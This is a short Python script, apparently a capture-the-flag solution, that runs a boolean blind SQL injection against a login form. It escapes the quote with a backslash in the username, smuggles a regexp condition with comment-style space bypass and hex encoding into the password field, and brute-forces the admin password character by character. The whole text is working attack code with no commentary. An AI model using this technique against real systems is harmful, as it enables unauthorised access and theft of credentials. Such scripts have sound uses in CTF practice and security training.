import requests import string url = "http://eci-2ze10cbxg19yyr2ee727.cloudeci1.ichunqiu.com/" ALLSTR = string.ascii_lowercase+string.ascii_uppercase+string.digits+"_" password = '' hexs = '' for a in range(0,50): for i in ALLSTR: data = {'username': "admin\\", 'password': '||password/**/regexp/**/BINARY/**/0x5E' +hexs+hex(ord(i))[2:4] + "#"} result = requests.post(url=url,data=data) # print(data) if "flag" in result.text: password = password + i hexs = hexs+hex(ord(i))[2:4] print("password is " + password) print(hexs)